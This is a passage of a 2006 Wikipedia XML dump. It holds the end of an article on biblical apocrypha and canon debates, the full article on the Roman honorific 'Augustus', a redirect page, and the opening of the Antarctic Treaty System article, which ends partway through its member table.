The text of the ''Actus Vercellenses'' is edited by Lipsius, ''Acta Apostol. Apocr.'' i. 45-79. An independent Latin translation of the &quot;Martyrdom of Peter&quot; is published by Lipsius (''op. cit.'' i. 1-22), ''Martyrium beati Petri Apostoli a Lino episcopo conscriptum''. On the Coptic fragment, which Schmidt maintains is an original constituent of these Acts, see that writer's work: ''Die alten Petrusakten im Zusammenhang der apokryphen Apostelliteratur nebst einem neuentdeckten Fragment'', and ''Texte und Untersuch''. N.F. ix. 1 (1903). For the literature see Hennecke, ''Neutestamentliche Apokryphen Handbuch'', 395 sqq. 

==== Preaching of Peter ====
This book (Πετρου κηρυγμα) gave the substance of a series of discourses spoken by one person in the name of the apostles. Clement of Alexandria quotes it several times as a genuine record of Peter's teaching. Heracleon had previously used it (see Origen, ''In Evang. Johann.'' t. xiii. 17). It is spoken unfavourably of by Origen (''De Prin.'' Praef. 8). It was probably in the hands of Justin and Aristides. Hence Zahn gives its date as 90-100 at latest; Dobschütz, as 100-110; and Harnack, as 110-130. The extant fragments contain sayings of Jesus, and warnings against Judaism and Polytheism. 

They have been edited by Hilgenfeld: ''Nov. Test. extra Can.'', 1884, iv. 51-65, and by von Dobschütz, ''Das Kerygma Petri'', 1893. Salmon (''Dict. Christ. Biog.'' iv. 329-330) thinks that this work is part of a larger work, ''A Preaching of Peter and a Preaching of Paul'', implied in a statement of Lactantius (''Inst. Div.'' iv. 21); but this view is contested by Zahn, see ''Gesch. Kanons'', ii. 820-834, particularly pp. 827-828; Chase, in Hastings' ''Bible Dict.'' iv. 776. 

==== Acts of Thomas ====
This is one of the earliest and most famous of the Gnostic Acts. It has been but slightly tampered with by orthodox hands. These Acts were used by the Encratites (Epiphanius, ''Haer.'' xlvii. 1), the Manichaeans (Augustine, ''Contra Faust''. xxii. 79), the Apostolici (Epiphanius lxi. 1) and Priscillianists. The work is divided into thirteen Acts, to which the Martyrdom of Thomas attaches as the fourteenth. It was originally written in Syriac, as Burkitt (''Journ. of Theol. Studies'', i. 278 sqq.) has finally proved, though Macke and Nöldeke had previously advanced grounds for this view. The Greek and Latin texts were edited by Bonnet in 1883 and again in 1903, ii. 2; the Greek also by James, ''Apoc. Anec.'' ii. 28-45, and the Syriac by Wright (''Apocr. Acts of the Gospels'', 1871, i. 172-333). Photius ascribes their composition to Leucius Charinus--therefore to the 2nd century, but Lipsius assigns it to the early decades of the 3rd. (See Lipsius, ''Apokryphen Apostelgeschichten'', i. 225-347; Hennecke, ''N.T. Apokryphen'', 473-480.) 

==== Teaching of the Twelve Apostles (Didache) ====
This important work was discovered by Philotheos Bryennios in Constantinople and published in 1883. Since that date it has been frequently edited. The bibliography can be found in Schaff's and in Harnack's editions. The book divides itself into three parts. The first (i.-vi.) contains a body of ethical instruction which is founded on a Jewish and probably pre-Christian document, which forms the basis also of the ''Epistle of Barnabas''. The second part consists of vii.-xv., and treats of church ritual and discipline; and the third part is eschatological and deals with the second Advent. The book is variously dated by different scholars: Zahn assigns it to the years A.D. 80-120; Harnack to 120-165; Lightfoot and Funk to 80-100; Salmon to 120. (See Salmon in ''Dict. of Christ. Biog.'' iv. 806-815, also article [[Didache]].) 

==== Apostolical Constitutions ====
For the various collections of these ecclesiastical regulations--the Syriac ''Didascalia, Ecclesiastical Canons of the Holy Apostles'', &amp;c.--see separate article [[Apostolical Constitutions]].

=== Epistles ===
==== The Abgar Epistles ====
These epistles are found in Eusebius (''H.E.'' i. 3), who translated them from the Syriac. They are two in number, and purport to be a petition of Abgar Uchomo, king of Edessa, to Christ to visit Edessa, and Christ's answer, promising after his ascension to send one of his disciples, who should &quot;cure thee of thy disease, and give eternal life and peace to thee and all thy people.&quot; Lipsius thinks that these letters were manufactured about the year 200. (See ''Dict. Christ. Biog.'' iv. 878-881, with the literature there mentioned.) The above correspondence, which appears also in Syriac, is inwoven with the legend of Addai or Thaddaeus. The best critical edition of the Greek text will be found in Lipsius, ''Acta Apostolorum Apocrypha'', 1891, pp. 279-283. (See also [[Abgar]].) 

==== Epistle of Barnabas ==== 
The special object of this epistle was to guard its readers against the danger of relapsing into Judaism. The date is placed by some scholars as early as 70-79, by others as late as the early years of the emperor Hadrian, 117. The text has been edited by Hilgenfeld in 1877, Gebhardt and Harnack in 1878, and Funk in 1887 and 1901. In these works will be found full bibliographies. (See further [[Barnabas]].) 

==== Epistle of Clement ====
The object of this epistle is the restoration of harmony to the church of Corinth, which had been vexed by internal discussions. The epistle may be safely ascribed to the years 95-96. The writer was in all probability the bishop of Rome of that name. He is named an apostle and his work was reckoned as canonical by Clement of Alexandria (''Strom.'' iv. 17. 105), and as late as the time of Eusebius (''H.E.'' iii. 16) it was still read in some of the churches. Critical editions have been published by Gebhardt and Harnack, ''Patr. Apost. Op.'', 1876, and in the smaller form in 1900, Lightfoot, 1890, Funk, 1901. The Syriac version has been edited by Kennet, ''Epp. of St Clement to the Corinthians in Syriac'', 1899, and the Old Latin version by Morin, ''S. Clementis Romani ad Corinthios epistulae versio Latina antiquissima'', 1894. 

==== &quot;Clement's&quot; 2nd Ep. to the Corinthians ====
This so-called letter of Clement is not mentioned by any writer before Eusebius (''H. E.'' iii. 38. 4). It is not a letter but really a homily written in Rome about the middle of the 2nd century. The writer is a Gentile. Some of his citations are derived from the Gospel to the Egyptians. 

==== Clement's Epistles on Virginity ====
These two letters are preserved only in Syriac which is a translation from the Greek. They are first referred to by Epiphanius and next by Jerome. Critics have assigned them to the middle of the 2nd century. They have been edited by [[Ian Theodor Beelen]], Louvain, 1856.

==== Clement's Epistles to James ====
On these two letters which are found in the Clementine Homilies, see Smith's ''Dict. of Christian Biography'', i. 559, 570, and Lehmann's monograph, ''Die Clementischen Schriften'', Gotha, 1867, in which references will be found to other sources of information. 

==== Epistles of Ignatius ====
There are two collections of letters bearing the name of Ignatius, who was martyred between 105 and 117. The first consists of seven letters addressed by Ignatius to the Ephesians, Magnesians, Trallians, Romans, Philadelphians, Smyrnaeans and to Polycarp. The second collection consists of the preceding extensively interpolated, and six others of Mary to Ignatius, of Ignatius to Mary, to the Tarsians, Antiochians, Philippians and Hero, a deacon of Antioch. The latter collection is a pseudepigraph written in the 4th century or the beginning of the 5th. The authenticity of the first collection also has been denied, but the evidence appears to be against this contention. The literature is overwhelming in its extent. See Zahn, ''Patr. Apost. Op.'', 1876; Funk, ''Die apostol. Väter'', 1901; Lightfoot, ''Apostolic Fathers'', 1889. 

==== Epistle of Polycarp ====
The genuineness of this epistle stands or falls with that of the Ignatian epistles. See article in Smith's ''Dictionary of Christian Biography'', iv. 423-431; Lightfoot, ''Apostolic Fathers'', i. 629-702; also [[Polycarp]]. 

==== Pauline Epistles to the Laodiceans and the Alexandrians ====
The first of these is found only in Latin. This, according to Lightfoot (see ''Colossians'', 272-298) and Zahn, is a translation from the Greek. Such an epistle is mentioned in the Muratorian canon. See Zahn, ''op. cit.'' ii. 566-585. The Epistle to the Alexandrians is mentioned only in the Muratorian canon (see Zahn ii. 586-592). 

For the ''Third Epistle of Paul to the Corinthians'', and ''Epistle from the Corinthians to Paul'', see under &quot;Acts of Paul&quot; above.

===The Council of Jamnia ===
At least until the [[Council of Jamnia]] in [[92]] AD, [[Jew]]s did not have a single unified [[Biblical canon#Jewish canon|canon]] of Scripture. Some ancient Jewish sects (including the [[Essenes]], as evidenced in the [[Dead Sea scrolls]]) included as Scripture much that modern Jews consider non-canonical. The Council explicitly excluded certain books for reasons that included their late composition or because they were not written in [[Hebrew language|Hebrew]] (although some parts of the [[Hebrew Bible]] or [[Tanakh]] itself are in [[Biblical Aramaic]]).  The word Apocrypha means hidden writing, and it was given to such books by the Jews to distinguish them from the books which they accepted as canonical.

Gentiles continued to use a Greek translation made in the period from the [[3rd century BC|third]] to the [[1st century BC|first]] centuries BC, in [[Alexandria]], [[Egypt]]. This work, which became known as the [[Septuagint]], included several books that were rejected at Jamnia. 

While Jews do not accept these books, saying they lack the unction of the prophetic books of the canon, they regard them as consistent, for most part, with the wisdom which rests on the fear of God and loyalty to His law, and some Jews have at various times drawn from them as a legitimate part of Jewish literary creativity, even using elements from them as the basis for two important parts of the Jewish liturgy.  

In the [[Mahzor]] (High Holy Day prayer book), a medieval Jewish poet used the book of [[Sirach]] as the basis for a beautiful poem, Ke'Ohel HaNimtah.

A closing [[piyyut]] in the [[Seder Avodah]] section, in the [[Yom Kippur]] Musaf begins:
:&quot;How glorious indeed was the High Priest, when he safely left the Holy of Holies.&lt;br /&gt;
:Like the clearest canopy of Heaven was the dazzling countenance of the priest.&quot;
&lt;!-- (This can be seen, for example, on page 828 of the Birnbaum edition of the Mahzor.) --&gt;
Mahzor replaces the medieval [[piyyut]] with the relevant section from Ben Sira, which is more direct.

Apocrypha have even formed the basis of the most important of all Jewish prayers, the [[Amidah]] (the Shemonah Esrah). Sirach provides the vocabulary and framework for many of the Amidah's blessings, which were instituted by the men of the Great Assembly. The description of the origins of [[Hanukkah]] is also to be found in the books rejected at Jamnia.

While the texts themselves may not be accepted as canonical, some of their contents are regarded as historical truth. In particular, [[1 Maccabees]] is cited by Jewish scholars as highly reliable history and was used by [[Josephus]] in his history of the Maccabean revolt.

===Majority Christian usage===
The [[Roman Catholic Church]] and the [[Eastern Orthodox Church|Eastern Orthodox]] and [[Oriental Orthodoxy|Oriental Orthodox]] Churches (thus the great majority of Christians) accept as part of the Old Testament some books excluded from the Jewish canon.  Roman Catholics refer to them as [[deuterocanonical books]], a term first used by [[Sixtus of Siena]] in 1566, signifying that definitive recognition of their canonical status came later than that of the other books.  Catholics and Orthodox do not call these books &quot;apocrypha&quot;, a term they apply only to other books that fall within the definition given in the first paragraph of this article. 

The deuterocanonical books are ''[[Book of Tobit|Tobit]]'', ''[[Book of Judith|Judith]]'', ''[[1 Maccabees]]'', ''[[2 Maccabees]]'', ''[[Wisdom of Solomon]]'', ''[[Sirach|Sirach (Ecclesiasticus)]]'', and ''[[Book of Baruch|Baruch]]'', as well as some parts of ''[[Book of Esther|Esther]]'' and ''[[Book of Daniel|Daniel]]''.

Eastern Orthodox Churches sometimes also consider ''[[3 Maccabees]]'', ''[[4 Maccabees]]'', ''[[1 Esdras]]'' and/or ''[[2 Esdras]]'' to be deuterocanonical and include [[Psalm 151]] with the ''[[Psalms]]'', while the [[Ethiopian Orthodox]] venerate additional books, such as ''[[Jubilees]]'', ''[[Book of Enoch|Enoch]]'', and the ''[[Rest of the Words of Baruch]]''. The inclusion of Enoch is justified on the grounds that the ''Book of [[Jude]]'' quotes it as Scripture. See [http://www.islamic-awareness.org/Bible/Text/Canon/ethiopican.html here] for conflicting accounts on what is actually included in the Ethiopian canon.

Since there was no fixed canon even among Jews until the Council of Jamnia (c.70-90 CE), it is not surprising that, historically, there have been hesitations among Christians, especially in the early centuries, about which [[Old Testament]] books to consider canonical. The inability of Christians to use in controversy with Jews books that the latter did not accept as divinely inspired was one reason why some attributed lesser authority to these books. St Jerome explicitly denied the canonical character of any Old Testament book not included in the Hebrew Bible; but later, in his Preface to the Book of Tobit (PL 29, 24-25), stated that he translated the deuterocanonical books into Latin as a concession to the authority of the bishops; and in [[402]] CE declared he had not really denied the inspiration of these books, but had only given the opinion of the Jews (''Apol. contra Ruf.'' 11, 33. PL 23, 476).

In view of that controversy, a list of canonical books (with the deuterocanonical books included) was drawn up at councils in Africa and approved (though not in ''ex cathedra'' form, which would have been anachronistic, in any event) by the Pope of the time. This was generally accepted in the West, while in the East, particularly in Syria, general agreement was reached only in the seventh century. Within the Roman Catholic Church, individual leaders and scholars, even at a later date, sometimes expressed contrary views, but the matter was definitively settled in [[1546]], when the [[Council of Trent]], reacting to the views of the Protestant Reformers, declared that it accepted all the books of the Old and New Testaments with equal feelings of piety and reverence, and named them in accordance with the list of the fifth-century African councils. The [[First Vatican Council]] reaffirmed this declaration.

=== Protestant views ===
[[Martin Luther (religious leader)|Martin Luther]] rejected the books that do not appear in the Jewish Tanakh, partly because of the stress the Reformers laid on translating from the original text, and partly because some passages contradicted his views, especially where [[2 Maccabees]] speaks, by implication, of [[purgatory]]: &quot;It is therefore a holy and wholesome thought to pray for the dead, that they may be loosed from sins.&quot; (12:46).

Protestants called the deuterocanonical books apocrypha. Luther and the Anglican Church regarded them as useful for edification, but not to be relied upon for doctrine, while Calvin and in general his followers attached no value to them beyond that of any other human writing, and objected to any use of them in church. 	

In [[1615]], the Archbishop of Canterbury imposed a year’s imprisonment for publishing Bibles without the &quot;Apocrypha&quot;; but in later printings of the Bible in English these books were omitted more and more. In the early nineteenth century, the Edinburgh Bible Society denounced them as superstitious and absurd, and soon all the Bible Societies decided not to publish them. More recently, in spite of the expense involved, Protestant Bibles in English have again sometimes included them, placing them in a separate section either between the Old Testament and the New or at the end.

What most Christians consider to be integral parts of Esther and Daniel are in some instances counted by Protestants as additional books.  In the book of Esther, it is difficult to separate these from the rest, since they are tightly integrated into the Greek text, and even the common parts of the book contain small variations from the Hebrew text. Protestant Bibles therefore sometimes give the entire book of Esther in two versions, one, based on the Hebrew text, as part of the Protestant Old Testament, and one, translated from the Greek, in the &quot;Apocrypha&quot; section.

Not all Protestants have omitted the deuterocanonical books. For example, all Luther Bibles in the Lutheran areas of [[Germany]] included them until [[World War II]]. Only after the war, when American [[Bible Society|Bible Societies]] offered funding on condition that the Apocrypha were omitted, they began to be dropped from most editions.  Additionally, the original edition of the KJV (1611) included them between the Old and New Testaments.

''See also: '' [[Books of the Bible]], a side-by-side comparison of the Jewish, Catholic, Protestant, and Orthodox canons.

===Latter Day Saint views===
Adherents of [[Latter Day Saint]] denominations believe that [[Joseph Smith, Jr.]], as a prophet, received a revelation from [[Jesus|Jesus Christ]] in answer to a question about the validity of the (Protestant) Apocrypha at [[Kirtland, Ohio]] on [[March 9]], [[1833]], which is now [http://scriptures.lds.org/dc/91 Section 91] of the [[Doctrine and Covenants]]. The section reads in part:

:There are many things contained therein that are true, and it is mostly translated correctly; there are many things contained therein that are not true, which are interpolations by the hands of men&amp;mdash;Therefore, whoso readeth it, let him understand, for the Spirit manifesteth truth; And whoso is enlightened by the Spirit shall obtain benefit therefrom.

This echoes the sentiment of most American Protestants of his day.

Although the [[Church of Jesus Christ of Latter-day Saints]] (LDS), the largest Latter Day Saint denomination, typically uses editions of the [[King James Version]] (KJV) of the Bible that do not currently include the Apocrypha, these have been used by members and leaders in the past, especially when such editions were more readily available. In non-English-speaking lands, Latter Day Saints use Bibles other than the KJV, some of which include the Apocrypha. The LDS Church plays a part in distributing such Bibles.  

Latter Day Saints generally believe that &quot;The Apocrypha&quot; are of questionable authenticity, but have some value. However, they place more emphasis on other hidden records which have been revealed and are believed to be reliable, such as the [[Book of Mormon]], the [[Joseph Smith Translation]], [[Book of Abraham]], a translation of writings of John (see [[Doctrine and Covenants]] 93:6-18 [http://scriptures.lds.org/dc/93/6-18#6] and other ancient records or &quot;hidden books&quot; which will come forth in time and be revealed as mankind are ready to accept new knowledge.

==References==
* {{1911}}

==External links==
*[http://www.earlychristianwritings.com/ Extensive research into NT Apocrypha] Good research resource and timeline
*[http://www.comparative-religion.com/christianity/apocrypha Complete NT Apocrypha] The largest claimed collection of NT apocrypha online 
*[http://www.pseudepigrapha.com Major collection of pseudepigrapha] Large number of NT and OT apocrypha and general pseudepigrapha
*[http://www-user.uni-bremen.de/~wie/nt-apokrypha.html German Apocrypha research] Scholarly research site on individual manuscripts.
*[http://st-takla.org/pub_Deuterocanon/Deuterocanon-Apocrypha_El-Asfar_El-Kanoneya_El-Tanya__0-index.html Deuterocanonical books] - Full text from Saint Takla Haymanot Church Website (also available the full text in Arabic)
*[http://www.atmajyoti.org/ul_unknown_lives_forward.asp The Unknown Lives of Jesus and Mary] from the Apocrypha and other little known sources.
*[http://scriptures.lds.org/bda/apcryph LDS Bible Dictionary &gt; Apocrypha] Definition &amp; LDS POV, including brief book descriptions.
*[http://www.riseisrael.com/apocrypha.htm Read the Apocrypha]
* [http://discordia.loveshade.org/apocrypha/apocrypha2.pdf ''Apocrypha Discordia, De Seconde Edityon''] (1.1M [[Portable Document Format|PDF]])
*[http://wesley.nnu.edu/biblical_studies/noncanon/index.htm Noncanonical Literature]

[[Category:Apocrypha|Apocrypha]]
[[Category:Christian texts]]
[[Category:Judaism]]

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[[zh:偽經]]</text>
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  </page>
  <page>
    <title>Augustus (honorific)</title>
    <id>1289</id>
    <revision>
      <id>36006465</id>
      <timestamp>2006-01-20T21:31:34Z</timestamp>
      <contributor>
        <ip>81.234.119.136</ip>
      </contributor>
      <text xml:space="preserve">:''For the Emperor, see [[Augustus]]. For his (last) wife, see [[Julia Augusta]]''
{{Roman government}}
'''''Augustus''''' (plural '''''augusti''''') is [[Latin]] for &quot;majestic&quot; or &quot;venerable&quot;. The  feminine form is '''''Augusta'''''.
The Greek equivalent is [[sebastos]], or a mere grecization (by changing of the ending) ''augustos''.

==Origin and nature==
Although the use of the ''[[Roman naming convention|cognomen]]'' &quot;Augustus&quot; as part of one's name is generally understood to identify the [[Caesar Augustus|Emperor Augustus]], this is somewhat misleading; &quot;Augustus&quot; was the most significant name associated with the Emperor, but it did not actually represent any sort of constitutional office. The Imperial dignity was not an ordinary office, but rather an extraordinary concentration of ordinary powers in the hands of one man; &quot;Augustus&quot; was the name that unambiguously identified that man.

*The first &quot;Augustus&quot; (and first man counted as a [[Roman Emperor]]) was [[Caesar Augustus|Gaius Julius Caesar Octavianus]], who was given that name by the [[Roman Senate]] on [[January 16]], [[27 BC]]; over the next forty years, Caesar Augustus (as he is now known) literally set the standard by which subsequent Emperors could be recognised, by accumulating various offices and powers and making his own name (&quot;Augustus&quot;) identifiable with the consolidation of powers. Although the name signified nothing in constitutional theory, it was recognised as representing all the powers that Caesar Augustus had accumulated.

As ''[[princeps senatus]]'' (lit., &quot;prince of the senate&quot;, &quot;first man of the senate&quot;) he was the parliamentary leader of the house in the Senate and received diplomatic embassages on behalf of that body; as ''[[pontifex maximus]]'' (lit. &quot;greatest bridgemaker&quot;) he was the chief priest of the Roman state religion; as bearing [[consul]]ar ''[[imperium]]'' he had [[authority]] equal to the official chief (and [[eponym]]ous) magistrates within [[Rome]] and as bearing ''imperium maius'' he had authority greater than theirs outside Rome (because of this, he outranked all provincial governors and was also supreme commander of all Roman [[legion]]s); as bearing ''[[tribune|tribunicia potestas]]'' (&quot;tribunician power&quot;) he had personal inviolability (''sacrosanctitas'') and the right to [[veto]] any act or proposal by any magistrate within Rome. In a famous passages of ''Res Gestae'', Augustus claims for him, as ''princeps'', ''[[auctoritas]]'', has underlined philosopher [[Giorgio Agamben]]. This concentration of powers became the model by which all subsequent Emperors ruled Rome in constitutional theory (in practice this systematic and sophisticated theory gradually lost any resemblance to reality in the [[3rd century|III]] and [[4th century|IV centuries]], when the Emperors became rather more reminiscent of oriental despots than &quot;first among equals&quot;).

*Octavian &quot;Caesar Augustus&quot; also set the standard by which Roman Emperors were named. The three titles used by the majority of Roman Emperors -- &quot;''[[imperator]]''&quot;, &quot;''[[Caesar (title)|caesar]]''&quot; and &quot;''augustus''&quot; -- were all used personally by Caesar Augustus (he officially styled himself &quot;Imperator Caesar Augustus&quot;); of these names, only &quot;Augustus&quot; was unique to the Emperor himself, as others could and did bear the titles &quot;Imperator&quot; and &quot;Caesar&quot; (it should be noted, however, that the Emperor's mother or wife could bear the name &quot;Augusta&quot;). It became customary for an Emperor-designate to adopt the name ''NN. Caesar'' (where NN. is the individual's personal name) or later ''NN. Nobilissimus Caesar'' (&quot;NN. Most Noble Caesar&quot;), and occasionally to be awarded the title ''Princeps Iuventutis'' (&quot;Prince of Youth&quot;). Upon accession to the purple, the new Emperor usually adopted the name ''Imperator Caesar NN. Augustus'' (later Emperors took to inserting ''Pius Felix'', &quot;Pious and Blest&quot;, and ''Invictus'', &quot;Unconquered&quot;, between their personal names and ''Augustus'').

In this usage, by signifying the complete assumption of all Imperial powers, &quot;''Augustus''&quot; is roughly analogous to &quot;[[Emperor]]&quot;, though a modern reader should be careful not to project onto the ancients a modern, monarchical understanding of what an emperor is. As noted, there was no constitutional office associated with the imperial dignity; the Emperor's personal authority (''dignitas'') and influence (''[[auctoritas]]'') derived from his position as ''princeps senatus'', and his legal authority derived from his ''consulari imperium'' and ''tribunicia potestas''; in Roman constitutional theory, one might consider &quot;''augustus''&quot;  as being shorthand for &quot;''princeps senatus et pontifex maximus consulari imperio et tribuniciae potestate''&quot; (loosely, &quot;Leader of the House and Chief Priest with Consular ''Imperium'' and Tribunician Power&quot;).

In many ways, &quot;''augustus''&quot; is comparable to the [[United Kingdom|British]] dignity of [[prince]]; it is a personal title, dignity, or attribute rather than a title of nobility such as [[duke]] or king. The Emperor was most commonly referred to as ''princeps'' (''[[basileus]]'', &quot;[[sovereign]]&quot;, in Greek).

==Women of the Imperial dynasty==
Originally, the title '''Augusta''' was only exceptionally bestowed on women of the Imperial dynasties: for these women it meant a fortification of their worldly power, and a status near to divinity. There was no qualification with higher prestige.

The first woman to receive it was [[Livia Drusilla]], by the last will of her husband [[Emperor Augustus]] (14 AD). Hence she was known as [[Julia Augusta]]. As much as Augustus was the model for all further Augustusses, Julia Augusta was the model for all further Augustas. A model that included scheming for a son to become successor to the throne, and falling in disgrace under the new Emperor if the scheming had been successful.

[[Agrippina minor]], becoming &quot;Augusta&quot; under her last husband [[Claudius]], would oblige to the model, being sent to death by her son [[Nero]], a few years after he had become Emperor.

If ''Augustus'' as honorific could be compared to the title of ''Prince'' in moderner societies, then ''Augusta'' would not so much be ''Princess'' than rather something more exceptional like ''[[Princess Royal]]'', deliberately given by the reigning monarch in rare cases, to a relative that received by this title prominence among other members of the royal household. Of course, it's only a partial comparison: ''Princess Royal'' was a title most often received by younger women, while ''Augusta'' was rather reserved for the aged - in this sense ''Augusta'' has something of the connotation of ''[[Queen mum]]'' too. Further, the &quot;akin to divinity&quot; does not really translate in any of these moderner titles or understood honorifics.

==In the Divided Roman Empire==
Later, under the [[Tetrarchy]], the rank of &quot;''augustus''&quot; referred to the two senior Emperors (in East and West), while &quot;''caesar''&quot; referred to the junior sub-Emperors. 

The aforementioned three principal titles of the emperors -- &quot;''imperator''&quot;, &quot;''caesar''&quot;, and &quot;''augustus''&quot; -- were rendered as ''[[autocrat|autokratôr]]'', ''kaisar'', and ''augustos'' (or ''sebastos'') in Greek. The Greek title continued to be used in the [[Byzantine Empire]] until its extinction in [[1453]], although &quot;''sebastos''&quot; lost its Imperial exclusivity: persons who were not the Emperor could receive titles formed from &quot;''sebastos''&quot;, and &quot;''autokratôr''&quot; became the exclusive title of the Emperor.

==Legacy==
The Latin title of the [[Holy Roman Emperor]]s was usually &quot;''Imperator Augustus''&quot;, which conveys the modern understanding of &quot;emperor&quot; rather than the original Roman sense (i.e., the &quot;first citizen&quot; of the Republic). Ironically, although the [[German language|German]] word for &quot;emperor&quot; is &quot;''Kaiser''&quot;, a clear derivative of &quot;''caesar''&quot;, that was the only one of the three principal titles of the Latin- and Greek-speaking Roman Emperors that was not regularly used in Latin by the German-speaking Holy Roman Emperors.

== See also ==

* ''[[Archons]]''
* ''[[Auctoritas]]''
* ''[[Basileus]]''
* ''[[Imperium]]''

[[Category:Roman Empire]]
[[Category:Ancient Roman titles]]
[[Category:Honorifics]]
[[Category:Roman law]]


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  </page>
  <page>
    <title>Antartic Treaty</title>
    <id>1290</id>
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      <id>15899780</id>
      <timestamp>2003-01-17T05:41:36Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
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      <comment>#REDIRECT [[Antarctic_Treaty_System]]</comment>
      <text xml:space="preserve">#REDIRECT [[Antarctic_Treaty_System]]</text>
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  </page>
  <page>
    <title>Antarctic Treaty System</title>
    <id>1291</id>
    <revision>
      <id>41965140</id>
      <timestamp>2006-03-02T22:47:27Z</timestamp>
      <contributor>
        <username>Bota47</username>
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      </contributor>
      <minor />
      <comment>robot  Adding: cs</comment>
      <text xml:space="preserve">{| align=&quot;right&quot;
|{{International ownership conventions}}
|}

The '''Antarctic Treaty''' and related agreements, collectively called the '''Antarctic Treaty System''' or '''ATS''', regulate the [[international relations]] with respect to [[Antarctica]], [[Earth]]'s only uninhabited [[continent]]. For the purposes of the [[treaty]] system, Antarctica is defined as all land and [[ice shelf|ice shelves]] south of the southern 60th [[Circle of latitude|parallel]]. The treaty was signed by 12 countries, including the [[Soviet Union]] and the [[United States]], and set aside Antarctica as a scientific preserve, established freedom of scientific investigation and banned military activity on that [[continent]]. This was the first [[arms control]] agreement established during the [[Cold War]].

[[Image:Flag of Antarctica.svg|thumb|200px|right|Graham Bertram (NAVA) 1996 conceptual flag for Antarctica]]
== The Antarctic Treaty System ==

[[Image:Antarctica.jpg|thumb|250px|right|Research stations and territorial claims in Antarctica (2002).]]

=== The (Main) Antarctic Treaty ===

The main treaty was opened for signature on [[December 1]], [[1959]], and officially entered into force on [[June 23]], [[1961]]. The original signatories were the 12 countries active in Antarctica during the [[International Geophysical Year]] of 1957-58 and willing to accept a US invitation to the conference at which the treaty was negotiated. These countries were [[Argentina]], [[Australia]], [[Belgium]], [[Chile]], [[France]], [[Japan]], [[New Zealand]], [[Norway]], [[South Africa]], the U.S.S.R., the [[United Kingdom]] and the United States (which opened the [[Amundsen-Scott South Pole Station]] for the [[International Geophysical Year]]).

==== Articles of the Antarctic Treaty ====

*'''Article 1''' - area to be used for peaceful purposes only; military activity, such as weapons testing, is prohibited, but military personnel and equipment may be used for scientific research or any other peaceful purpose; 

*'''Article 2''' - freedom of scientific investigation and cooperation shall continue; 

*'''Article 3''' - free exchange of information and personnel in cooperation with the [[United Nations]] and other international agencies; 

*'''Article 4''' - does not recognize, dispute, or establish territorial claims and no new claims shall be asserted while the treaty is in force; 

*'''Article 5''' - prohibits nuclear explosions or disposal of radioactive wastes; 

*'''Article 6''' - includes under the treaty all land and ice shelves south of 60 degrees 00 minutes south; 

*'''Article 7''' - treaty-state observers have free access, including aerial observation, to any area and may inspect all stations, installations, and equipment; advance notice of all activities and of the introduction of military personnel must be given; 

*'''Article 8''' - allows for jurisdiction over observers and scientists by their own states; 

*'''Article 9''' - frequent consultative meetings take place among member nations; 

*'''Article 10''' - treaty states will discourage activities by any country in Antarctica that are contrary to the treaty; 

*'''Article 11''' - disputes to be settled peacefully by the parties concerned or, ultimately, by the [[International Court of Justice]]; 

*'''Articles 12, 13, 14''' - deal with upholding, interpreting, and amending the treaty among involved nations.

The main objective of the ATS is to ensure &lt;cite&gt; in the interests of all mankind that Antarctica shall continue forever to be used exclusively for peaceful purposes and shall not become the scene or object of international discord &lt;/cite&gt;. The treaty forbids &lt;cite&gt; any measures of a military nature&lt;/cite&gt;, but not the presence of military personnel per se. It also defers the question of territorial claims asserted by some nations and not recognized by others.

=== Other agreements ===
[[Image:wiki_antarctictreaty.JPG|thumb|left|250px|Stamp, [[USA]], [[1991]]]]
Other agreements - some 200 recommendations adopted at treaty consultative meetings and ratified by governments - include:
* [[Agreed Measures for the Conservation of Antarctic Fauna and Flora]] (1964) (entered into force in 1982)
* The [[Convention for the Conservation of Antarctic Seals]] (1972)
* The [[Convention for the Conservation of Antarctic Marine Living Resources]] (1980)
* The [[Convention on the Regulation of Antarctic Mineral Resource Activities]] (1988) (although it was signed in 1988, it was subsequently rejected and never entered into force)
* The [[Protocol on Environmental Protection to the Antarctic Treaty]] was signed [[4 October]] [[1991]] and entered into force [[14 January]] [[1998]]; this agreement prevents development and provides for the protection of the Antarctic environment through five specific annexes on marine pollution, fauna, and flora, environmental impact assessments, waste management, and protected areas. It prohibits all activities relating to mineral resources except scientific research.

==Meetings==
The Antarctic Treaty System's yearly ''Antarctic Treaty Consultative Meetings (ATCM)'' are the international forum for the administration and management of the region. Only 28 of the 45 parties to the agreements have the right to participate in these meetings. These parties are the ''Consultative Parties'' and, in addition to the twelve original signatories, include 16 countries that have demonstrated their interest in Antarctica by carrying out substantial scientific activity there.

==Members==
[[Image:Antarctic Treaty.png|400px|center|thumb|
{{legend|brown|signatory, ''consulting'', [[Antarctic territories|territorial]] [[land claim|claim]]}}
{{legend|orange|signatory, ''consulting'', [[Antarctic Treaty System|reserved right for territorial claim]]}}
{{legend|lightgreen|signatory, ''consulting''}}
{{legend|yellow|signatory, ''acceding'' status}}
{{legend|gray|non-signatory}}]]&lt;br clear=&quot;all&quot; /&gt;
{|class=&quot;wikitable&quot;
!Country!!Original signatory!!Consultative!!Acceding
|-
|[[Argentina]] [[Argentine Antarctica|''claim'']]*
|colspan=&quot;2&quot;|[[1961-06-26]]
|
|-
|[[Australia]] [[Australian Antarctic Territory|''claim'']]
|colspan=&quot;2&quot;|[[1961-06-23]]
|
|-
|[[Austria]]
|
|
|style=&quot;background:lightgray;&quot;|[[1987-08-25]]
|-
|[[Belgium]]
|colspan=&quot;2&quot;|[[1960-07-26]]
|
|-
|[[Brazil]]
|
|[[1983-09-12]]
|[[1975-05-16]]
|-
|[[Bulgaria]]
|
|[[1998-05-25]]
|[[1978-09-11]]
|-
|[[Canada]]
|
|
|style=&quot;background:lightgray;&quot;|[[1988-05-04]]
|-
|[[Chile]] [[Magallanes y la Antártica Chilena|''claim'']]*
|colspan=&quot;2&quot;|[[1961-06-23]]
|
|-
|[[People's Republic of China|China]]
|
|[[1985-10-07]]
|[[1983-06-08]]
|-
|[[Colombia]]
|
|
|style=&quot;background:lightgray;&quot;|[[1989-01-31]]
|-
|[[Cuba]]
|
|
|style=&quot;background:lightgray;&quot;|[[1984-08-16]]
|-
|[[Czech Republic]] ([[Czechoslovakia]])
|
|
|style=&quot;background:lightgray;&quot;|[[1962-06-14]]
|-
|[[Denmark]]
|
|
|style=&quot;background:lightgray;&quot;|[[1965-05-20]]
|-
|[[Ecuador]]
|
|[[1990-11-19]]
|[[1987-09-15]]
|-
|[[Estonia]]
|
|
